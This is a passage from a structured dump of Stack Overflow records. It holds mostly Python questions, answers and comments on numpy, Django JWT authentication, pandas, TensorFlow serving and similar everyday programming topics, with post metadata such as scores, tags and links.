continuous differential evolution algorithm (such as Scipy's) in a smart way. PS. I'm aware that there's some literature available that proposes dedicated mixed-integer evolutionary algorithms. For now, I'd like to stay with Scipy.
tagged with: mixed-integer-programming

http://stackoverflow.com/a/48701768
type: Answer
has comment: http://stackoverflow.com/comment/84402794
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84402019
has comment: http://stackoverflow.com/comment/84403328
has body: numpy allows you to make operations on the whole array. It also re-defines the functions from the math module to allow for this (including exp). So you can just write: import numpy as np arr = np.arange(50) / 50 lambda1 = 0.5 exp_cdf1 = 1 - lambda1 * np.exp(-lambda1 * arr) print(exp_cdf1.mean()) # 0.604560034105 Note that the value of lambda also never changes. If it did, it would still work if lambda1 was a numpy array (or actually any iterable) of the same length as arr.
has comment: http://stackoverflow.com/comment/84402852
has comment: http://stackoverflow.com/comment/84402639
has comment: http://stackoverflow.com/comment/84402111
has comment: http://stackoverflow.com/comment/84402433
upvote count: 1
answers question: http://stackoverflow.com/q/48701616
has comment: http://stackoverflow.com/comment/84402511
has comment: http://stackoverflow.com/comment/84401942
has comment: http://stackoverflow.com/comment/84402606
has comment: http://stackoverflow.com/comment/84402371
has comment: http://stackoverflow.com/comment/84402572

http://stackoverflow.com/q/48803029
has body: I have user login Serializer like below I want to add the user role to my JWT payload when the user is authenticated how can I access user info for example "is_stuff" field in my validate function? user object contain &lt;QuerySet [&lt;User: admin&gt;]&gt;‌ class UserLoginSerializer(ModelSerializer): token = CharField(allow_blank=True, read_only=True) username = CharField(required=False, allow_blank=True) email = EmailField(label='email address', required=False, allow_blank=True) class Meta: model = User fields = [ 'username', 'email', 'password', 'token', 'is_staff', ] extra_kwargs = { "password": { "write_only": True } } def validate(self, data): user_obj = None email = data.get('email', None) username = data.get('username', None) password = data.get('password') if not email and not username: raise ValidationError("email or username is required!") if '@' in username: email = username user = User.objects.filter( Q(email=email) | Q(username=username) ).distinct() # user = user.exclude(email__isnull=True).exclude(email__iexact='') if user.exists() and user.count() == 1: user_obj = user.first() else: raise ValidationError("this username/email is not valid") if user_obj: if not user_obj.check_password(password): raise ValidationError("password is incorrect") payload = jwt_payload_handler(user_obj) payload["role"] = ??? data['token'] = jwt_encode_handler(payload) return data view: class UserLoginApiView(APIView): permission_classes = [AllowAny] serializer_class = UserLoginSerializer def post(self, request, *args, **kwargs): data = request.data serializer = UserLoginSerializer(data=data) if serializer.is_valid(raise_exception=True): new_data = serializer.data return Response(new_data, status=HTTP_200_OK) return Response(serializer.errors, status=HTTP_400_BAD_REQUEST)
answer count: 1
downvote count: 0
tagged with: django-rest-framework
has title: get user role and add that to jwt payload
accepted answer: http://stackoverflow.com/a/48803150
favorite count: 0
tagged with: django
tagged with: python
type: AnsweredQuestion
score: 3
upvote count: 3
type: Question
has answer: http://stackoverflow.com/a/48803150

http://stackoverflow.com/comment/84404939
type: Comment
type: QuestionComment
has text: have you tried `int(val) < ...` ?
comment on: http://stackoverflow.com/q/48703279
score: 0

http://stackoverflow.com/q/48757344
has body: I'm trying to work out how to write a function that searches a list of tuple pairs and returns the value associated with the first element of the pair. I so far have got this... def search_list(list_of_tuples,value): list_of_tuples = for element in prices print(element[0]) return list_of_tuples prices = [('AAPL',96.43),('IONS',39.28),('GS',159.53)] ticker = 'IONS' print(search_list(prices,ticker)) im looking for it to print 'AAPL' 'IONS' 'GS' any help appreicated.
tagged with: function
answer count: 1
has title: Using function to search tuple in python
has comment: http://stackoverflow.com/comment/84515748
score: 0
has comment: http://stackoverflow.com/comment/84515811
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84515769
has answer: http://stackoverflow.com/a/48757446
type: Question

http://stackoverflow.com/q/48789532
tagged with: tensorflow
type: Question
has title: How to create a serving input function to provide a prediction for images on google cloud platform?
has comment: http://stackoverflow.com/comment/85058821
tagged with: google-cloud-platform
linked to: http://stackoverflow.com/q/48911249
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/53491312
favorite count: 0
has body: From this google cloud doc and this one, and the stackoverflow answer in this post by rhaertel80, I think the recommended format of a json request to send images to a model for prediction on Google cloud is: {'instances': {'image_bytes': {'b64': base64.b64encode(jpeg_data)}}, {'image_bytes':...}} The next step is to create the serving_input_fn() (described in the google cloud docs and this GCP tutorial), which can cope with the nested dictionary that the request will send. To do this I need to create 'features' and a 'receiver_tensor' to pass into the ServingInputReciever function which the serving_input_fn() needs to return. However, I do not see how the requirement of the receiver_tensor to be a dictionary with keys and tensors as values can fit the nested format of the json request. (As I understand it, the receiver_tensors are placeholders for the request). If the request does not contain nested dictionaries the approach seems to be fairly simple as shown in the tutorials and this answer. Question So, how can the serving_input_fn() be formatted to receive the image request in the described form and create features and receiver_tensors which fill the requirements of the ServingInputReceiver function? Part of the difficulty may be that I do not understand what the serving_input_fn() will need to process. Will it be the entire request in one go? Or will each instance be passed one at a time? Or is there some other way to understand what the function will be processing More details For more context, I am using tf.Estimator and the train_and_evaluate function to train a model and deploy it to google cloud. The input to the model is a tf.dataset containing tuples of ({'spectrogram': image}, label) where image is a tensor. My attempt to create the input_fn assumes one element of the instances list is passed at a time: def serving_input_fn(): feature_placeholders = {'image_bytes': {'b64': tf.placeholder(dtype=tf.string, shape=[None], name='source')}} input_images = conv…
linked to: http://stackoverflow.com/q/46216095
linked to: http://stackoverflow.com/q/48510264
tagged with: google-cloud-ml
type: UnansweredQuestion
tagged with: machine-learning
tagged with: python
score: 3
upvote count: 3

http://stackoverflow.com/comment/84558677
comment on: http://stackoverflow.com/q/48778467
type: QuestionComment
type: Comment
score: 0
has text: Your values for `fst_name`, `lst_name ` and `YEAR` are only set when the program is initiated. Should they be updated each time a textbox is changed? When you try to call `emailOutput.setText(fst_name[0],...)` the variable is more than likely empty

http://stackoverflow.com/a/48731327
type: Answer
answers question: http://stackoverflow.com/q/48730005
score: 0
has body: The Host header is required by the HTTP standard (at least version 1.1), i.e. the standard which defines the protocol spoken with a web server. The reason for this is that you can have multiple domains share the same IP address and thus the web server somehow needs to find out which of the domains you want to access. Since the lower layer (i.e. TCP) does not contain this information but only the IP address you need to provide this information at the application layer (i.e. HTTP). As for using the hostname inside the connect: This is actually not needed and you could also provide the IP address there. All what it does when providing the hostname and not the IP is to lookup the IP address for the host and connect to this.

ctypes
tags question: http://stackoverflow.com/q/48675152
tags question: http://stackoverflow.com/q/48721079
tag name: ctypes
type: Tag
tags question: http://stackoverflow.com/q/48727798
tags question: http://stackoverflow.com/q/48650192
tags question: http://stackoverflow.com/q/48650234
tags question: http://stackoverflow.com/q/48737638
tags question: http://stackoverflow.com/q/48720924
tags question: http://stackoverflow.com/q/48788549
tags question: http://stackoverflow.com/q/48732331
tags question: http://stackoverflow.com/q/48768161
tags question: http://stackoverflow.com/q/48693857

http://stackoverflow.com/q/48761486
favorite count: 0
has answer: http://stackoverflow.com/a/48761501
tagged with: python
accepted answer: http://stackoverflow.com/a/48761501
has title: Pandas unable to reset index because name exist
type: Question
has answer: http://stackoverflow.com/a/72389090
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/132171822
possible better answer: http://stackoverflow.com/a/58497173
has answer: http://stackoverflow.com/a/58497173
score: 22
upvote count: 22
answer count: 3
tagged with: pandas
downvote count: 0
has body: I have a multi-level pandas dataframe which im trying to level. I use reset_index but its giving me error that the name already exist. I dont want to use reset_index(drop=True) because i want to keep one of the column names still. i want as my new dataframe: country,listing_neighborhood,count right now, df.columns only gives count. my code: df.columns = ['count'] df.reset_index() -&gt; gives error that `ValueError: cannot insert country, already exists` I also tried: df.columns.droplevel(0) -&gt; gives error that 'Index' object has no attribute 'droplevel'

http://stackoverflow.com/a/48799054
accepted answer of: http://stackoverflow.com/q/48799014
type: Answer
score: 1
upvote count: 1
has body: UserCreationForm already provide password and passwod confirmation. So you just need to override only username field, rename register_username: class RegisterForm(UserCreationForm) : username = forms.EmailField(label=_("Email"), widget=forms.TextInput(attrs={"placeholder":"Email"})) def clean_username(self): username = self.cleaned_data["username"] try: User._default_manager.get(username=username) #if the user exists, then let's raise an error message raise forms.ValidationError(self.error_messages['duplicate_email'], #user my customized error message code='duplicate_email', #set the error message key ) except User.DoesNotExist: return username # great, this user does not exist so we can continue the registration process class Meta: model= User fields = ("username",)
answers question: http://stackoverflow.com/q/48799014
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/84456274
has text: @bro-grammer. First off, awesome user name. Second, nitpick, but not every value is a list containing tuples, or iterable containing two-element iterables.
comment on: http://stackoverflow.com/q/48728451
type: QuestionComment
type: Comment
score: 2

http://stackoverflow.com/comment/85020074
type: QuestionComment
comment on: http://stackoverflow.com/q/48742044
score: 0
has text: Check this answer https://stackoverflow.com/a/49004993/5774004
type: Comment

http://stackoverflow.com/comment/84386387
type: Comment
comment on: http://stackoverflow.com/a/48679405
has text: Sure. Thanks Jezrael. G9
score: 1
type: AnswerComment

http://stackoverflow.com/comment/84388464
type: Comment
comment on: http://stackoverflow.com/q/48694119
has text: What do you mean, how do you get Anaconda to use the new environment? Which part of Anaconda? Jupyer Notebook? JupyterLab? The regular Python interpreter? Anaconda Navigator?
score: 0
type: QuestionComment

http://stackoverflow.com/comment/84496218
type: Comment
type: QuestionComment
has text: What do you want to achieve? If you are testing for the error message, then you can check that. If not, then probably you should provide valid credentials. In (automated) testing it makes little sense to try and redo stuff, you normally strive to make testcases short and concise.If you want to test for the redo, then just write the same code again. (With a different pass ??)
comment on: http://stackoverflow.com/q/48744648
score: 0

http://stackoverflow.com/q/48797491
type: Question
has comment: http://stackoverflow.com/comment/84598680
tagged with: macos-sierra
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84597717
has body: I want to use 3.6.4 for writing my code but it has Tcl/Tk may be unstable. Note the 3.6.3 I call from my terminal and the 3.6.4 id downloaded from python.org. Ideally, I would want rid of 3.6.3 and have 3.6.4 but without the "Tcl/Tk may be unstable error" I'm using Mac Osx Sierra. Here is what I am referring to:
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84599306
tagged with: python
tagged with: pygame
has answer: http://stackoverflow.com/a/48797671
has title: It seems I have 2 versions os python 3 installed. Ideally I Would want to use 3.6.4 for pygame but I have Tcl/Tk error(how do i fix this?)

http://stackoverflow.com/q/48688929
has comment: http://stackoverflow.com/comment/84376182
tagged with: python
tagged with: visual-studio
answer count: 0
score: 1
upvote count: 1
type: Question
linked to: http://stackoverflow.com/q/40078738
has body: Since I updated Visual Studios Code about a week ago I'm experiencing problems within the program. For example, I can't use the built-in debug feature. When I try to, nothing happens but an error message pops up at the top saying: Debug adapter process has terminated unexpectedly. Also, when you right-click on a .py file and press "Run Python File in Terminal" literally nothing happens. I can still run the files by clicking on them outside of VSCode, so there shouldn't be anything wrong with the programs itself. Unlike other similar questions, I have not installed Xdebug, but I do have Git installed. It doesn't matter whether I have created an repository or not. I have tried uninstalling VSCode and installing it again, without success.
downvote count: 0
has comment: http://stackoverflow.com/comment/84376731
favorite count: 0
has title: Visual Studios Code can't debug
type: UnansweredQuestion

http://stackoverflow.com/comment/84375967
type: QuestionComment
comment on: http://stackoverflow.com/q/48688315
has text: It will be much easier if you use [namedtuple](https://docs.python.org/3/library/collections.html#collections.namedtuple) instead of a `class`. `WFM = namedtuple('WFM', ['name', 'config', 'amp', 'width'])`. Then calling `set()` on a list of instances of `WFM` will remove all the duplicates.
score: 0
type: Comment

http://stackoverflow.com/q/48698237
score: -2
answer count: 1
has title: Writing content into a Excel using python
has body: I have extracted the data from the page,using selenium python http://www.cmdgroup.com/construction-projects/project/1001622072 Here is the Extracted Data looks like, Location: Larkspur, CA Status: Postbids Unavailable, BIDS: 05/10/2012 Value: $ 75,000.00 Documents: Available with subscription Categories Offices Subbid/Pkg: GCs Request Subbids On Select Trades: Gutter, Deck Waterproofing &amp; Window Installation Scope: Office Scope of work includes: Removal of existing Dex-O-Tex Weatherwear waterproofing system, sheet metal flashing at interior and exterior perimeter of deck, along with wood siding and trim in areas affected by work; Removal and re-installation of exist Notes: 1. NO CALLS To Owner/Architect. Please Direct Project Inquiries To Bidding GCs Only. 2. SD Deacon Requests Project Inquiries &amp; Bids To Malcolm McFarland At (916)969-0900, Fax (916)735-0800 Or malcolm.mcfarland@deacon.com 3. Please Note There Will Be A Pre Details: [Division 3]: Concrete Restoration &amp; Cleaning. [Division 6]: Rough Carpentry, Finish Carpentry. [Division 7]: Waterproofing. [Division 8]: Metal Windows. [Division 9]: Painting. [Division 15]: Plumbing Piping. Contract Conditions: Invited Bidders Only I want this data to write into a Excel File,using python Headers Location,Status,BIDS,Value,Categories,Subbid/Pkg,Scope,Notes,Details,Contract Conditions "Larkspur, CA","Postbids Unavailable",05/10/12,"$ 75,000.00",Offices,"GCs Request Subbids On Select Trades: Gutter, Deck Waterproofing &amp; Window Installation","Office Scope of work includes: Removal of existing Dex-O-Tex Weatherwear waterproofing system, sheet metal flashing at interior and exterior perimeter of deck, along with wood siding And trim in areas affected by work; Removal and re-installation of exist","1. NO CALLS To Owner/Architect. Please Direct Project Inquiries To Bidding GCs Only. 2. SD Deacon Requests Project Inquiries &amp; Bids To Malcolm McFarland At (916)969-0900, Fax (916)735-0800 Or malcolm.mcfarland@…
has answer: http://stackoverflow.com/a/48698270
favorite count: 0
type: UnansweredQuestion
downvote count: 2
tagged with: python
tagged with: excel
type: Question
upvote count: 0

http://stackoverflow.com/comment/84575720
comment on: http://stackoverflow.com/q/48786693
type: Comment
type: QuestionComment
has text: The value provided by Boost.Python, SWIG, etc, is that you do not have to know/understand all the low level details.
score: 2

http://stackoverflow.com/q/48750689
has answer: http://stackoverflow.com/a/48752268
tagged with: eigenvector
tagged with: matrix
answer count: 1
tagged with: python
favorite count: 0
type: UnansweredQuestion
has body: I am reviewing some linear algebra and working through some implementations in Python. I am working through a problem related to finding eigenvectors of a matrix A. A = [[ 1, 2,-2], [-2, 5,-2], [-6, 6,-3]] When I solve this problem by hand, I get eigenvalues 3 and -3, with 3 having a multiplicity of 2. My eigenvectors are [[1/3], [1/3], [1]], [[1], [1], [0]], [[-1], [0], [1]]. Trying my implementation in NumPy: import numpy as np A = [[ 1, 2, -2], [-2, 5, -2], [-6, 6, -3]] np.linalg.eig(A) which gives the output (array([ 3., -3., 3.]), array([[ 0.53452248, -0.30151134, -0.05332571], [-0.26726124, -0.30151134, -0.73225996], [-0.80178373, -0.90453403, -0.67893425]])) The eigenvalues are what I would expect, but the eigenvectors are confusing to me. From what I've read, I understand they are the columns and they are normalized, i.e., norm(e1) = 1. Also, numerically they seem to be correct in the sense they satisfy the Ax = lambda*x equation. Furthermore, when I do the implementation in SymPy, I get the expected result. from sympy.matrices import Matrix, eye, zeros, ones, diag, GramSchmidt A = Matrix([[ 1, 2, -2], [-2, 5, -2], [-6, 6, -3]]) A.eigenvects() Output: [(-3, 1, [Matrix([ [1/3], [1/3], [ 1]])]), (3, 2, [Matrix([ [1], [1], [0]]), Matrix([ [-1], [ 0], [ 1]])])] Can anyone shed some light on the differences and what's going on with NumPy? Is it solving numerically and these aren't truly eigenvectors but they seem to be in the sense they satisfy the conditions within a certain level of numerical precision? Thank you.
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84502161
tagged with: linear-algebra
type: Question
has title: Clarification on computation of eigenvectors using NumPy
tagged with: numpy
upvote count: 1

http://stackoverflow.com/q/48792319
has body: As I know, python dictionary is an unordered datastructure. But when it comes to that I insert a key-value pairs into dictionary and traverse it. Surprisedly find it outputs each orderedly.Why ? Use python3.6 .
tagged with: python
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/84586861
has comment: http://stackoverflow.com/comment/84586919
linked to: http://stackoverflow.com/q/39980323
type: Question
upvote count: 2
has title: Python dictionary's order
has comment: http://stackoverflow.com/comment/84586967
has comment: http://stackoverflow.com/comment/84586924
linked to: http://stackoverflow.com/q/14956313
favorite count: 0
answer count: 0
duplicate of: http://stackoverflow.com/q/39980323
type: UnansweredQuestion

http://stackoverflow.com/comment/84433212
has text: `None` is not valid in JSON. It should be `null`.
comment on: http://stackoverflow.com/q/48716934
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48829445
score: 2
downvote count: 0
upvote count: 2
has body: Here's one way. Notice when a house is chosen and add it to a list. If the next chosen house is less than two houses ahead replace the last house in the list; otherwise, add it. JavaScript code (sorry, on smartphone, but this should be easy to adapt): function max_theft(house_val, n){ if (n == 0) return 0 if (n == 1) return house_val[0] if (n == 2) return Math.max(house_val[0], house_val[1]) let max_theft_val = new Array(n).fill(0) let chosen = [house_val[0]] function add_house(i){ if (i - chosen[ chosen.length-1 ] &lt; 2) chosen[ chosen.length-1 ] = i else chosen.push(i) } max_theft_val[0] = house_val[0] let a = house_val[0] let b = house_val[1] if (a &gt; b){ console.log(`Choosing house 0`) max_theft_val[1] = a add_house(0) } else { console.log(`Choosing house 1`) max_theft_val[1] = b add_house(1) } for (let i=2; i&lt;n; i++){ let a = house_val[i] + max_theft_val[i-2] let b = max_theft_val[i-1] if (a &gt; b){ console.log(`Choosing house ${i}`) max_theft_val[i] = a add_house(i) } else { console.log(`Choosing prev best ${i-1}`) max_theft_val[i] = b } } console.log(`Chosen ${chosen}`) return max_theft_val[n-1] } var arr = [1,4,3,40,50] console.log(JSON.stringify(arr)) console.log(max_theft(arr, arr.length))
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48716855
accepted answer of: http://stackoverflow.com/q/48716855
type: Answer

http://stackoverflow.com/q/48729575
tagged with: tuples
has comment: http://stackoverflow.com/comment/84458156
has comment: http://stackoverflow.com/comment/84458203
answer count: 3
has answer: http://stackoverflow.com/a/48729619
tagged with: python
tagged with: python-3.x
tagged with: list
type: AnsweredQuestion
tagged with: python-itertools
possible better answer: http://stackoverflow.com/a/48729619
has answer: http://stackoverflow.com/a/48729695
has answer: http://stackoverflow.com/a/48729639
accepted answer: http://stackoverflow.com/a/48729695
type: Question
upvote count: 4
has body: The goal was to create a list of all possible combinations of certain letters in a word... Which is fine, except it now ends up as a list of tuples with too many quotes and commas. import itertools mainword = input(str("Enter a word: ")) n_word = int((len(mainword))) outp = (list(itertools.permutations(mainword,n_word))) What I want: [yes, yse, eys, esy, sye, sey] What I'm getting: [('y', 'e', 's'), ('y', 's', 'e'), ('e', 'y', 's'), ('e', 's', 'y'), ('s', 'y', 'e'), ('s', 'e', 'y')] Looks to me I just need to remove all the brackets, quotes, and commas. I've tried: def remove(old_list, val): new_list = [] for items in old_list: if items!=val: new_list.append(items) return new_list print(new_list) where I just run the function a few times. But it doesn't work.
downvote count: 0
has title: How to get all permutations of string as list of strings (instead of list of tuples)?
score: 4
favorite count: 0

http://stackoverflow.com/q/48751448
has answer: http://stackoverflow.com/a/48751646
type: AnsweredQuestion
type: Question
accepted answer: http://stackoverflow.com/a/48751646
tagged with: dfa
score: 2
answer count: 1
downvote count: 0
has body: Code:- #Shortest DFA implementation in Python S,D,F=input() s=1 for c in S:s=D[s,c] print(["Not a chance!","Accepted!"][F&amp;s&gt;0]) Input:- Input is a triple of string S, a delta function D, and final state mask F. I number each state with a power of 2, so F is just the OR of each accepting state. D is a map from (state,input char) -> state. Example input (accepts all strings ending in b): 'abab',{(1,'a'):1,(1,'b'):2,(2,'a'):1,(2,'b'):2},2 Output:- --------------------------------------------------------------------------- ValueError Traceback (most recent call last) &lt;ipython-input-32-506f09a31940&gt; in &lt;module&gt;() 1 #Shortest DFA implementation in Python ----&gt; 2 S,D,F=input() 3 s=1 4 for c in S:s=D[s,c] 5 print(["Not a chance!","Accepted!"][F&amp;s&gt;0]) ValueError: too many values to unpack (expected 3) Similarly, the following code is for implementing an NFA. But it is throwing a different kind of error, even after adding the eval(). The code is as follows:- #Shortest NFA implementation S,D,F=eval(input()) s=1 for c in S: t,s=s,0 for a,b in D[c]:s|=t/a%2*b print(["Not a chance!","Accepted!"][F&amp;s&gt;0]) Input:- We number states as powers of 2 as before. D is a map from input character to a list of transitions labelled by that character. example input (accepts all strings ending in b): 'abab',{'a':[(1,1)],'b':[(1,1),(1,2)]},2 The output obtained is:- 'abab',{'a':[(1,1)],'b':[(1,1),(1,2)]},2 --------------------------------------------------------------------------- TypeError Traceback (most recent call last) &lt;ipython-input-34-7e5418d2d6fc&gt; in &lt;module&gt;() 4 for c in S: 5 t,s=s,0 ----&gt; 6 for a,b in D[c]:s|=t/a%2*b 7 print(["Not a chance!","Accepted!"][F&amp;s&gt;0]) TypeError: unsupported operand type(s) for |=: 'int' and 'float' Please tell me the necessary but minimal modifications required in the above codes for it to execute successfully and produce the desired output.
has title: Trying to implement DFA but the code is generating errors
favorite count: 0
upvote count: 2
tagged with: python

http://stackoverflow.com/comment/84385665
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48693455
type: Comment
has text: You have more than just `PATH` defined. You probably have `PYTHONPATH` and/or `PYTHONHOME` set to point to 3.4. If it was just `PATH` pointing to 3.4 you wouldn't be having these issues because it's the other two variables that control the module search path.

http://stackoverflow.com/a/48762538
has body: The csv module provides a way to split strings while keeping quoted substrings intact. &gt;&gt;&gt; import csv &gt;&gt;&gt; s = 'square 4 "string with space" -arg' &gt;&gt;&gt; next(csv.reader([s], delimiter=' ')) ['square', '4', 'string with space', '-arg'] This is not proper command line parsing, of course. If you can take the user input upon program invocation, look into the argparse module.
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48762446
score: 1
accepted answer of: http://stackoverflow.com/q/48762446
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/q/48762583
downvote count: 1
has body: I have the source code of a program written in python and I want to get the binaries of this program for the MIPS architecture. How can I do this?
has title: how can I get the binaries of python file for mips
score: 1
has answer: http://stackoverflow.com/a/48762801
type: Question
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84525518
tagged with: mips
tagged with: binaryfiles
upvote count: 2
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/48687939
type: Question
has comment: http://stackoverflow.com/comment/84374092
has body: I have a python3 program that is uploading a large number of files using ftplib. It works fine but will occasionally throw the following exception during a random point in the upload: [WinError 10013] An attempt was made to access a socket in a way forbidden by its access permissions Traceback (most recent call last): File "bulk_box_ftp.py", line 90, in push_folder_contents placeFiles(ftp_conn, folder) File "bulk_box_ftp.py", line 68, in placeFiles placeFiles(ftp, localpath) File "bulk_box_ftp.py", line 52, in placeFiles ftp.storbinary('STOR ' + name, upfile) File "...\Python\Python36-32\lib\ftplib.py", line 503, in storbinary self.voidcmd('TYPE I') File "...\Python\Python36-32\lib\ftplib.py", line 278, in voidcmd return self.voidresp() File "...\Python\Python36-32\lib\ftplib.py", line 251, in voidresp resp = self.getresp() File "...\Python\Python36-32\lib\ftplib.py", line 236, in getresp resp = self.getmultiline() File "...\Programs\Python\Python36-32\lib\ftplib.py", line 222, in getmultiline line = self.getline() File "...\Python\Python36-32\lib\ftplib.py", line 204, in getline line = self.file.readline(self.maxline + 1) File "...\Python\Python36-32\lib\socket.py", line 586, in readinto return self._sock.recv_into(b) File "...\Python\Python36-32\lib\ssl.py", line 1009, in recv_into return self.read(nbytes, buffer) File "...\Python\Python36-32\lib\ssl.py", line 871, in read return self._sslobj.read(len, buffer) File "...\Python\Python36-32\lib\ssl.py", line 631, in read v = self._sslobj.read(len, buffer) OSError: [WinError 10013] An attempt was made to access a socket in a way forbidden by its access permissions Following this OSError all other files in the queue will then throw a ConnectionResetError ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host What could be causing this exception to be raised? Is there any way that I can safely catch it and recover to continue the FTP operations?
score: 0
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/49134889
tagged with: python-3.x
has title: Python ftplib OSError: [WinError 10013] on STOR operation
tagged with: python
type: AnsweredQuestion
tagged with: ftplib
upvote count: 1
accepted answer: http://stackoverflow.com/a/49134889
downvote count: 1

http://stackoverflow.com/a/48771872
score: 2
has body: In python indents are crucial. You can't allow code fixes to set them instead of a programmer.
upvote count: 2
answers question: http://stackoverflow.com/q/48771818
downvote count: 0
type: Answer

http://stackoverflow.com/comment/135547107
type: Comment
score: 2
comment on: http://stackoverflow.com/a/48725037
has text: @itamar Katz please please don't use Python 2.7
type: AnswerComment

http://stackoverflow.com/q/48674189
type: AnsweredQuestion
has title: Docstring for groups of methods in sphinx
type: Question
has comment: http://stackoverflow.com/comment/84357230
score: 5
linked to: http://stackoverflow.com/q/17193143
upvote count: 6
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/84359900
favorite count: 0
has answer: http://stackoverflow.com/a/48682589
accepted answer: http://stackoverflow.com/a/48682589
tagged with: python-sphinx
has comment: http://stackoverflow.com/comment/84346945
tagged with: python
has body: Is it possible to add docstrings for groups of methods in the Sphinx generated documentation? For example, I would like to have something like: class MyClass(): """Doc of the class""" def __init__(self): pass """----- The following part is about imports -----""" def import_from_source_1(self): """Doc of import_from_source_1""" pass def import_from_source_2(self): """Doc of import_from_source_2""" pass """----- The following part is about exports-----""" def export_to_dest_1(self): """Doc of export_to_dest_1""" pass def export_to_dest_2(self): """Doc of export_to_dest_2""" pass And the expected output would be: MyClass Doc of the class ----- The following part is about imports ----- import_from_source_1 Doc of import_from_source_1 import_from_source_2 Doc of import_from_source_2 ----- The following part is about exports----- export_to_dest_1 Doc of export_to_dest_1 export_to_dest_2 Doc of export_to_dest_2 Note that my goal is not (only) to group methods (as found in Group method docstrings in sphinx), but to add a docstring to the group.

http://stackoverflow.com/q/48680398
accepted answer: http://stackoverflow.com/a/48681249
tagged with: properties
tagged with: python-decorators
score: 2
type: AnsweredQuestion
downvote count: 0
has body: I am looking to convert a lot of boilerplate code into using decorators, but I am getting stuck figuring out how to do it. My current code looks something like this: import time # for demonstration class C(object): def large_function(self, optional_param=[]): """Large remote query that takes some time""" time.sleep(3) # usually run without optional_param return ['val'] + optional_param @property def shorthand(self): """Docstr...""" if not hasattr(self, "_shorthand"): setattr(self, "_shorthand", self.large_function()) return self._shorthand This works like I want it to, but obviously is annoying to write many of these. A shorter example that seems to do the same: import time # for demonstration def lazy(self, name, func): attr_name = "_" + name if not hasattr(self, attr_name): setattr(self, attr_name, func()) return getattr(self, attr_name) class C(object): def large_function(self, optional_param=[]): """Large remote query that takes some time""" time.sleep(3) # usually run without optional_param return ['val'] + optional_param @property def shorthand(self): """Docstr...""" return lazy(self, 'shorthand', self.large_function) However, this still seems very verbose. Optimally, I'd like to have: class C(object): @add_lazy_property('shorthand') def large_function(self, optional_param=[]): """Large remote query that takes some time""" time.sleep(3) # usually run without optional_param return ['val'] + optional_param c = C() print(c.shorthand) print(c.large_function(['add_param']) Unfortunately, the lazy decorators I've found completely mask the underlying function. I tried several setattr() for functions, but it quickly got confusing. Any way to do this with one decorator 'add_lazy_property'? Bonus if I can add my own docstring or at least copy the function's docstring.
has answer: http://stackoverflow.com/a/48681249
type: Question
possible better answer: http://stackoverflow.com/a/48682243
has title: Convert lazy evaluation into decorator (Python)
upvote count: 2
answer count: 2
tagged with: decorator
favorite count: 0
has answer: http://stackoverflow.com/a/48682243
tagged with: python

http://stackoverflow.com/q/48791743
has comment: http://stackoverflow.com/comment/84586171
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/48791994
tagged with: gitignore
favorite count: 0
has comment: http://stackoverflow.com/comment/84585659
has comment: http://stackoverflow.com/comment/84585871
has comment: http://stackoverflow.com/comment/84585788
tagged with: python
has comment: http://stackoverflow.com/comment/84585818
accepted answer: http://stackoverflow.com/a/48791994
has comment: http://stackoverflow.com/comment/84585952
type: AnsweredQuestion
has body: I need the same behavior as gitignore files, but for my own code that doesn't actually involve git. I'd like the behavior to match gitignore exactly, but looking at all the rules, it seems non-trivial. I have files in a project. When running my Python script, it does things to those files. I'd like a .gitignore file that says to ignore some subset of files. Is there some easy way to get that behavior, or do I need to write this from scratch?
has title: Any easy way to copy the logic behind how gitignore works?
score: 4
type: Question
upvote count: 4

http://stackoverflow.com/comment/84350209
has text: i changed the cursor.commit to connection.commit() and i still got the same error message.
type: Comment
comment on: http://stackoverflow.com/q/48675275
score: 0
type: QuestionComment

http://stackoverflow.com/comment/84594629
type: QuestionComment
comment on: http://stackoverflow.com/q/48781682
score: 0
has text: Unfortunately, that didn't help, but I have new conclusions - see my additions to the post.
type: Comment

http://stackoverflow.com/q/48678848
upvote count: 4
has comment: http://stackoverflow.com/comment/84360374
has comment: http://stackoverflow.com/comment/84355572
has comment: http://stackoverflow.com/comment/84393118
type: UnansweredQuestion
tagged with: similarity
tagged with: python
has title: Efficient way of calculating similarity matrix for huge dataset in python
downvote count: 0
has comment: http://stackoverflow.com/comment/84356070
has comment: http://stackoverflow.com/comment/84363570
has comment: http://stackoverflow.com/comment/84365333
type: Question
tagged with: nltk
answer count: 1
score: 4
favorite count: 0
has comment: http://stackoverflow.com/comment/84359974
has body: I am working on clustering of sentences using Affinity Propagation Clustering. As an intermediate step I am calculating similarity matrix. It works for small dataset but throws memory error for huge dataset. I have a dataset containing sentences. Sample dataset: 'open contacts', 'open music player', 'play song', 'call john', 'open camera', 'video download', ... My code: import nltk, string from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.cluster import AffinityPropagation import pandas as pd punctuation_map = dict((ord(char), None) for char in string.punctuation) stemmer = nltk.stem.snowball.SpanishStemmer() def stem_tokens(tokens): return [stemmer.stem(item) for item in tokens] def normalize(text): return stem_tokens(nltk.word_tokenize(text.lower().translate(punctuation_map))) vectorizer = TfidfVectorizer(tokenizer=normalize) def get_clusters(sentences): tf_idf_matrix = vectorizer.fit_transform(sentences) similarity_matrix = (tf_idf_matrix * tf_idf_matrix.T).A affinity_propagation = AffinityPropagation(affinity="precomputed", damping=0.5) affinity_propagation.fit(similarity_matrix) # global labels labels = affinity_propagation.labels_ # global cluster_centers cluster_centers = 